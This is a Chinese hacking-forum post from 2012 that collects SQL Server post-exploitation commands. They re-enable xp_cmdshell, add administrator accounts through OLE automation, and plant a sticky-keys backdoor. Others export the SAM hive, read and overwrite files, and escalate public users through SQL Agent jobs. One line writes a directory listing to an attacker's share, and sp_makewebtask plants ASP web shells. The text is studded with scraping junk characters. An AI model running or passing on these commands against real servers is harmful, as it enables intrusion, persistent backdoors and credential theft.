找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2223|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号( v3 K  _$ r% J, L) L1 W
恢复方法:查询分离器连接后,
# p9 g& ~* H; A2 q第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int " \! x( J4 r+ h0 j# E* y
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 9 X8 ?3 }+ @9 j2 X  C2 W  E5 m
然后按F5键命令执行完毕
$ _  E7 c0 N0 k3 L) u; u1 b# C; @: v2 c7 ]: h! g5 ~$ D
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)' J, K: Q' }9 H
恢复方法:查询分离器连接后,
. e. S2 C- P) @7 `) [1 o第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
& m% ?; u' i1 c第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
" v' b  g. L5 G# ?0 `然后按F5键命令执行完毕
9 M3 b  x5 D' g% _. c* Y, Z1 k2 p) \7 v, X9 P
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。), S$ t1 p- W, N7 ~' S, o
恢复方法:查询分离器连接后,# s$ x& o/ m! Y& @! G4 K
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'8 q$ Q- E( @) U9 }3 [0 k
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       0 h( l$ \6 Z# Y
然后按F5键命令执行完毕
) |5 `; j; a$ B& K4 e. v% L0 O' C9 \& I: s9 h6 t
4 终极方法.. f2 w( [$ @; ^; w" j
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:$ K2 @: P' `$ [/ ~
查询分离器连接后,$ O, ?, ]" `7 \# o# R2 Q1 b. t- L
2000servser系统:
, b/ u2 U5 @3 e! Z9 q; u& \0 V' Odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
/ s( N/ E  g) _) l/ _" m, M( p. }* Q9 `
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'! \& ]) h% R- G) s* [7 _1 [4 b

/ {+ T6 H+ L- @9 f% i& Zxp或2003server系统:
" C4 G8 z( q4 Y, e  @, A6 @) r# R% p* m
  ~% K8 R4 l! l  Z) O: L; Zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'/ |  u, g/ P% D: I& ]! x

0 i4 \& }) \* e! w/ _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'9 L! V, b. u9 t2 {- f6 J) ~
8 H5 C9 n2 R' q' C5 I1 E

3 l( x# F5 V8 p  w/ C五个SHIFT3 ^8 F$ a& x9 r) S' K: G
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
' ^7 R7 H. X- ], S3 X% J, Y1 B8 ]: A) P+ {$ q* s
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 8 s6 c1 ~6 G1 O' L
* h) G. c- b1 |4 D, \
xp_cmdshell执行命令另一种方法$ M: G. x+ w0 A- D) D
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
- Z% t2 p" S2 c) S& `9 _8 [, b- l  t! V( V+ \
判断存储扩展是否存在' L# {5 k: o6 Y
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'9 t6 m% }: w- V8 _/ c
返回结果为1就OK) u1 Q2 X; l. {+ `! p- W
: e$ b. ~6 B) G$ @
, U' p! t, k% R  F1 N
上传xplog70.dll恢复xp_cmdshell语句:. w( P4 W! c5 q& E
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
0 G. @! {" u0 }  o5 L' ]* n4 D# T! X
否则上传xplog7.0.dll6 ]! Q" \* \/ s" P2 }7 \
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'+ d4 {+ D7 ~0 Y

# F# w; E0 G# X5 Q2 y1 v; U0 C; j3 E: s5 O: c/ V& x
* U+ Z1 ]: R: W3 z2 x! K0 I  C3 c, T
首先开启沙盘模式:9 @# H2 @( H4 o, R% x- G( }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',11 D( }: G- g/ B3 }: @0 l* Z

) y0 u& ^; X  H: e% d# B# Y然后利用jet.oledb执行系统命令, K3 t/ x: f0 V2 }0 G+ l
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
5 z( C/ j5 _0 Q9 g  y  `' d: c返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
+ J# @1 N8 L: z. _0 R6 [
- c* \# L) Q7 [1 P7 I# I4 u: I% H+ [' t% z& l. v, A8 P  C

& Z/ t% y! G8 J) J: o6 d恢复过程sp_addextendedproc 如下:
0 X; H7 J# a( J% `+ _; L* U# l# ecreate procedure sp_addextendedproc --- 1996/08/30 20:13
( D( C- ~+ ~; a" W: j8 p@functname nvarchar(517),/* (owner.)name of function to call */
( t7 C7 p! Q$ o6 ]1 ]@dllname varchar(255)/* name of DLL containing function */ / z. H, q* |8 T& ?
as
/ T8 e2 j# H3 O7 _, uset implicit_transactions off   M5 @4 w+ Q# q3 X  }/ }
if @@trancount > 0 " E- y* s8 y, D% m, d: Q
begin
3 @  B4 O7 W$ v+ y: s1 zraiserror(15002,-1,-1,'sp_addextendedproc')
+ ~! z  ^. F: ]return (1)   I6 f9 l3 w! J* F$ [6 s1 Q) _
end
3 c% s+ D. k) {* l; Ndbcc addextendedproc( @functname, @dllname)
( Q- o; }$ B2 h. S: |+ ^return (0) -- sp_addextendedproc 2 P) a  H# }; Q
GO
3 O$ Q( w2 D2 f" I; O, r/ p% _- R8 p8 I5 n4 V9 g* y) T

, C, p5 \8 N4 X6 X
/ u; h# i' R3 K+ n导出管理员密码文件1 P1 J. x! C# H: ^' z
sa默认可以读sam键.应该。
* T) K4 H, s7 \( J& rreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg; G: B5 h$ \+ `; t/ `( b  r+ w
net user administrator test
1 g6 a- G5 F! u用administrator登陆.* k4 ?8 t$ C5 u1 q& ?
用完机器后5 v0 {" B% m7 m9 |* T
reg import c:\test.reg+ S+ [" F# I- U# c: j+ L0 G, f
根本不用克隆.
: V* F& z5 V, }, |6 c6 l找到对应的sid. ; y% O) X6 Q- }
# o* h8 I$ q5 K+ H
) n0 t* {8 j( b7 q" ?( Z# ]
$ X. [, S/ f, ]! M% L/ t
恢复所有存储过程" W) I' ~( e% n% F+ m
use master & \( ]6 u$ F6 B" R% _; _& k7 e% d5 _
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
9 ^4 I- `! ?1 z9 w6 F# oexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
8 K: L1 h2 f4 b5 b) l# e! f9 m& B' }exec sp_addextendedproc xp_loginconfig,'xplog70.dll' $ d* B+ e. b& B: U, M* G
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' * F' z+ Y' {& q& _: G% m  x+ J
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
9 x, y0 z( v& ~# C3 Gexec sp_addextendedproc sp_OACreate,'odsole70.dll'
( k' k! n7 E% B/ u5 D3 |! f5 aexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
( A  R* n7 H5 ^- B, M2 }; S$ zexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
4 |  e3 [- K: ?7 g: cexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
' E$ ^* [0 R+ H( [; W& mexec sp_addextendedproc sp_OAMethod,'odsole70.dll' ( s9 y* @. o( _$ l' A% |
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
" _' u( [! ]9 ~9 [4 dexec sp_addextendedproc sp_OAStop,'odsole70.dll'
* b1 l) d. B" j  Iexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' ' v& ~: ^& K/ i! c2 L& {* p+ K5 O
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'   I0 Q, l/ V3 \4 q) x
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 8 @0 h  K! F9 L
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' & I  L9 F$ A7 L5 D- ^1 \) m
exec sp_addextendedproc xp_regread,'xpstar.dll' ; }" W7 C- ^- ?! ^1 Y
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
" s. h" [7 S5 s! a! g1 rexec sp_addextendedproc xp_regwrite,'xpstar.dll' / g9 E) H$ |) o7 O. ~, s& D# T, P
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'3 ?! i2 }3 q! I; ^# ~/ A* V3 {, B
& h0 J0 A* f% y+ v" L0 }

: R. n- L5 J3 p2 {) i! K. B建立读文件的存储过程
7 M  `, g2 l; H/ o3 r) l7 ~6 h* TCreate proc sp_readTextFile @filename sysname
/ r! [) j- s, E  Oas7 `2 p# r# @! |8 c: Z) r# G

# `+ @* z; F/ m, B    begin
2 U: j5 C! d2 Z    set nocount on   J  p: N, B! [4 ~( S$ m
    Create table #tempfile (line varchar(8000))
" j% W; N/ F% l: ], I- o    exec ('bulk insert #tempfile from "' + @filename + '"')9 ?7 I) Y0 `% t# z+ P4 }
    select * from #tempfile- x. F3 x3 p( s( E( d
    drop table #tempfile$ o6 H. @/ m$ o
End
! i7 e  o5 c, h  b" _* O6 o! V" Q. m6 k
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
( ]* B* L) @. t- n! B! s$ ^查看登录用户
) D8 e" q! G. e0 ZSelect * from sysxlogins) s! v7 u8 Z4 |
0 a- u8 v; `( M. D* l, f6 m
把文件内容读取到表中6 p1 n, Z$ e, x8 `" T
BULK INSERT tmp from "c:\test.txt"1 B3 t2 y" F, e8 Y3 N! i' M8 F
dElete from 表名 清理表里的内容
  F  S( j3 r! ^9 c0 Kcreate table b_test(fn nvarchar(4000));建一个表,字段为fn$ K/ y" P' o# K

0 r) F2 o$ G' s- k
  [$ y/ C1 g1 Y  H2 G# M加sa用户
- u' E6 U( X4 L+ y1 V( ?exec master.dbo.sp_addlogin user,pass;6 q/ W# {8 l* C& A, n  D2 `
exec master.dbo.sp_addsrvrolemember user,sysadmin% ~- t: [9 r- p8 ]4 Z6 c

4 P' w, w! }$ b: j$ t! f8 O2 r  V2 _# h. \* L( P9 ~. r. \) C, i

/ R" S9 y) r, I) I9 A读文件代码
3 d1 B: p, Z1 v; B% D) u$ d2 e" [declare @o int, @f int, @t int, @ret int- Y" h+ T0 b0 X2 D
declare @line varchar(8000)
+ Y+ l9 Q' z, a) @: X9 ~: ]exec sp_oacreate 'scripting.filesystemobject', @o out
4 a. ?! C. e9 W# l% R; @4 gexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1) d! C2 h6 f* x3 c! I
exec @ret = sp_oamethod @f, 'readline', @line out
' e& [7 f3 t5 w. g& e' ^5 qwhile( @ret = 0 )6 d7 s8 U  a& |  v0 E+ G1 A2 g3 k
begin
$ h: I# U' a- j" t0 Oprint @line- y% @4 D9 V# z1 R  a, h2 i. Q
exec @ret = sp_oamethod @f, 'readline', @line out6 D1 C4 C; g) H3 p, b, r2 y
end
) ~" q# T* K! e, M& _0 M+ X8 k  y! m' a5 r  X! H

2 R: C# k" `$ r% l: K6 e写文件代码:: m0 y+ r2 B, Z' l; w: c
declare @o int, @f int, @t int, @ret int+ T. d; F. T8 i8 G) @1 g
exec sp_oacreate 'scripting.filesystemobject', @o out
0 H# ]4 R* I6 H2 Bexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
8 ?. U) q4 \- m* e+ Y$ wexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》) ]6 G( U) e$ Q0 z- t

2 u( i0 f# A. e. R& D& m1 K9 S
9 p" a1 k! e) O2 P添加lake2 shell3 O1 @3 ?2 `2 Q& p1 ~0 F
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'7 X8 |4 f- x: H3 x, w2 s
sp_dropextendedproc xp_lake2
- d5 Y: o! V' ~EXEC xp_lake2 'net user'
/ @' |& V& b5 f& Q2 g! h' |" b) q+ r

3 ~9 t' [0 i$ _得到硬盘文件信息
& b. i! U% R8 |: O+ {0 P! k--参数说明:目录名,目录深度,是否显示文件
; ]0 y1 F: _& l5 @+ F) q2 nexecute master..xp_dirtree 'c:' . w* ?( y$ n) q- E# S* b, U
execute master..xp_dirtree 'c:',1 . O  p# w* |  \: _$ v$ K
execute master..xp_dirtree 'c:',1,1
5 o" Z: F1 }) e3 Z( \. y# }0 G/ [+ S

& }, {$ E6 T4 V读serv-u配置信息7 M! n( A9 h- X+ I" L
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
2 M3 Y4 E" A2 rexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'  d' ?- u# D" I  n
. i" t4 }6 e. N* `
通过xp_regwrite写SHIFT后门
) Y8 t' [, H4 {/ K& q' D( A, Eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--6 ~, E& K1 f: K- ]% O6 z
& @5 C) g- W0 p8 C; W

, v! n$ @6 G6 \+ Y: @6 ^0 J: v9 e9 }8 K: w
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';& ]# a' {" M4 p: X. v. ~
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
8 }3 j5 l5 U4 w- f
9 v8 K% j, d6 @% P0 IEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'$ U" S2 Y8 H6 S, z' ~

+ r9 C& o. F6 C' t0 M+ l: o# M. W4 ^, h2 d  H* R$ t

; c; m4 Y) n5 @* s; |: N) \  fsql server 2005下开启xp_cmdshell的办法% |$ @. J+ w% |
( [' h: m# M1 W3 d7 s5 b1 q* s
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
; E6 Z. g# Z+ j; N5 F9 {7 ]* r; E
SQL2005开启'OPENROWSET'支持的方法:
" N& Q! x5 c6 Y8 q3 J* i6 B. _  s0 f! K( I" i/ N
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;: p' ]/ {5 C  l9 ~4 w9 S/ X! U
- }0 e7 P# ^; a& _" S1 y  ?
SQL2005开启'sp_oacreate'支持的方法:
/ D0 }0 A: t4 r; T- u/ L* A. e* t. K5 [6 K
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;: p7 _, Y- U$ F8 ~/ h& p3 j
* S8 L1 Y: X: R5 P2 W; K. V# W2 t
3 z. k/ H1 R9 [- f7 O

; C$ h  J, M: P/ O( T
4 V9 z" x, j/ Q# J6 I+ Y+ y' G
4 p6 p7 O3 e9 T2 U6 C5 G9 V! U0 c7 O! G
* W# T( w& N) u9 {0 n

* [# \. ~; T, ]! B
3 k' E' b, k1 i4 k
. C# c. n4 D# n1 E" E5 Z0 ?1 {% r* i* y
! o! n" K" j1 B, f2 ~0 ~

( S$ a# I) D/ N! N9 y' e$ a# Y% c, z/ s

" U, c$ e/ R  |  a$ U+ \/ Q' {
  K: O7 M9 G$ P$ ^6 u% |1 i7 l2 `3 }+ _2 Y" \

" C' y+ s& {4 d; w3 H! h% k7 |% [! Q) z/ j+ N

* Q8 J$ w8 i8 Y: T# k; O  O( x) M6 g, `) X7 {3 t! h1 C

2 Z/ e- b. H' S1 t
% W2 A. C9 `1 M. S4 Q
* \2 o, m1 Q0 Y4 p  ]以下方面不知道能不能成功暂且留下研究哈:3 c& Q6 G0 V0 d% A: w% f
4)/ E% @# Q( ^6 p$ }, T" y
use msdb; --这儿不要是master哟
7 w- s- w" @- G$ p& W: S3 }exec sp_add_job @job_name= czy82 ;& w- h* j7 Q6 T, p
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
" h9 d( l5 L; {& h, Q% pexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
0 D" K5 X) B' ~: ^) lexec sp_start_job @job_name= czy82 ;# J9 J# J: I3 s

0 t& v3 j# ]/ n8 s利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
' m! m8 w$ {) ?; W- {6 b8 e执行tsql语句了.' h2 n6 \* b7 e* a3 ?5 g
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
  e" u5 I4 ^6 j第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
5 r. j) l* c6 l: b8 ^net start SQLSERVERAGENT
5 C3 o# @" @+ O; R( ]: P! z% l3 A9 \' o: T( K
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
1 S4 E6 c: ^* m  J+ FUSE msdb
0 ~7 A$ g4 j" D3 R2 l! ^$ SEXEC sp_add_job @job_name = GetSystemOnSQL ,
! @6 _- _- X- J: w! o@enabled = 1,
; M' N* D0 R( P( k1 L3 J@description = This will give a low privileged user access to6 t- `4 |* S$ d% i# y
xp_cmdshell ,
% e2 q: g3 m# p& Q+ u) _6 \9 D@delete_level = 19 D% o0 b1 a  t& S  n8 H' R
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
" M+ q7 T0 Y8 f* y+ Y$ l@step_name = Exec my sql ,% u$ v5 ]) v6 T3 W$ _9 ]3 M% T
@subsystem = TSQL ,
6 F* p7 N$ U1 n7 _@command = exec master..xp_execresultset N select exec
9 l0 ^7 r+ m" k% L1 l& k+ K6 Bmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
. c" t0 q1 h- [+ ~# YEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
! w, w0 A: J7 d* c  i  L, U@server_name = 你的SQL的服务器名
. }7 u3 O2 c) e) v# wEXEC sp_start_job @job_name = GetSystemOnSQL 2 z* o9 J9 C3 L5 f' R- T+ a/ s$ }

" u8 P* h/ l+ c9 r* {, E) t, v不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以9 I7 M6 b" I% I7 k, T4 w$ k& H. _* H% }
才让我们可以以public执行xp_cmdshell# H' a# G5 f% e' J4 i; z* ]
/ x& v+ @% V6 K& W9 ]5 x; x' w
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)( M3 l* {. O7 w+ ~
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968, Z& o/ n. Q# h/ }, E
* I3 C1 S9 F, P. y, x
USE msdb
# ]  Y& f. m  \0 Q; G' hEXEC sp_add_job @job_name = ArbitraryFilecreate ,
9 O* h6 l, `8 X* G2 x+ P" B@enabled = 1,
$ q9 H' o+ U4 i$ c6 P4 o@description = This will create a file called c:\sqlafc123.txt ,
; {4 K2 k0 j4 p/ H@delete_level = 1
+ y0 d( g" T/ S9 v0 WEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
1 k6 J" s) L9 y; s' J! o@step_name = SQLAFC ,  n+ u/ b# {6 N9 A1 ?
@subsystem = TSQL ,
- J! a( ^2 N- v3 A: U@command = select hello, this file was created by the SQL Agent. ,
) x+ D  m  E6 B  f@output_file_name = c:\sqlafc123.txt " E# ~  u" L& G, M
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
. K2 b8 ]: u7 @' ~) i' }@server_name = SERVER_NAME
- c! Y& c! j3 fEXEC sp_start_job @job_name = ArbitraryFilecreate . w' |' G. K: ^
; Y! Z$ ]! d2 q# Y2 K6 X
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
: A( m$ E; k/ d4 Y. i0 }. J/ ?/ \1 {
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:195 h. C  X8 ?* B' T% j
----------------------------------------------
4 ?0 D, A& F: m8 l8 Ohello, this file was created by the SQL Agent.
# I* \" }( Y' ~2 W* B$ ?
! a# o9 x1 g- r( M! r/ c9 k+ b(1 ?????)
. A" e, a3 \+ z! Z, X+ A
; F4 A5 j! W, O& J/ U, C9 g% x8 p所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
( y" N2 f0 F. j" t3 V& h命令的vbs文件到启动目录!
7 a$ a* c8 A2 D0 J2 v$ `# a# ]( n. k4 w% D0 h5 ~$ V3 Y
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
8 Z/ |8 }( @) y" K* X" B: x2 F- [关于sp_MScopyscriptfile 看下面的例子9 q" ~8 l' e5 }- Y+ ]. p
declare @command varchar(100)
# w+ ]$ X$ ~5 M* q9 O. Pdeclare @scripfile varchar(200) , L9 Y- O2 a. {& |" R
set concat_null_yields_null off ( z+ ]' [) _9 S& w  {+ r, n
select @command= dir c:\ > "\\attackerip\share\dir.txt" # f/ S, g1 Z4 m" [+ N5 E, o4 T; |6 Z
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
! g# }4 l6 ~+ n2 r; {1 A! R& ^exec sp_MScopyscriptfile @scripfile ,
; ?7 U3 j0 k5 a3 G% _* d; Y  q: q" `' `) p. S" d  A" ~
这两个东东都还在测试试哟9 Q) q* [" f5 `. J6 L# x! S/ ]  }
让MSSQL的public用户得到一个本机的web shell5 d% \  b  u% {
/ p  e' z3 G0 s1 e
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,6 g$ M1 Z2 ]  l( Y$ {
--@query= select <img src=vbscript:msgbox(now())>
1 n% i6 s& d- d3 h--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> ( f! B6 F$ _. s8 a( f5 a
@query= select
# i- @) \+ ~2 u+ o8 _3 M<%On Error Resume Next ( m# D/ b. @% K6 S9 Z* F
Set oscript = Server.createObject("wscript.SHELL")
  S+ c) O: E; w. b' JSet oscriptNet = Server.createObject("wscript.NETWORK") % \/ v' x( I! j) G& U' X) H
Set oFileSys = Server.createObject("scripting.FileSystemObject") - \( P" s$ P1 a& e2 \
szCMD = Request.Form(".CMD")
3 b" f8 t- t/ x1 T$ Y7 AIf (szCMD <>"")Then
' ]- U% x& I9 q# dszTempFile = "C:\" & oFileSys.GetTempName() 4 U/ d( J. R5 q& X
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 1 P: ]9 z% E$ ~: E5 D) t, k" \
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
* ^+ X  S! j/ N4 V" j7 ^End If %> " ~2 h* ]; p: w( A  T! F6 i
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> ( _3 L! X, ]) {0 L1 c" K% K
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
- W9 x% Q: a* ?2 g1 W% ]+ |: P</FORM><RE>
7 l+ Z( x/ j6 F9 `% @' d) x<% If (IsObject(oFile))Then
1 i0 A. J8 B3 N: E, j: Y" tOn Error Resume Next
9 e' J' ~3 n  o. n$ mResponse.Write Server.HTMLEncode(oFile.ReadAll)
. A( |. `- y& foFile.Close : I# C7 n% |: G+ b1 u3 ?: q9 r
Call oFileSys.deleteFile(szTempFile, True) 5 Q( y# ]+ J/ R- h5 b' _. E) f8 ?
End If%> 7 A# |9 g( P. F4 _: v. n
</BODY></HTML> $ h+ \2 i+ p; _/ n9 h7 K9 }* f4 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表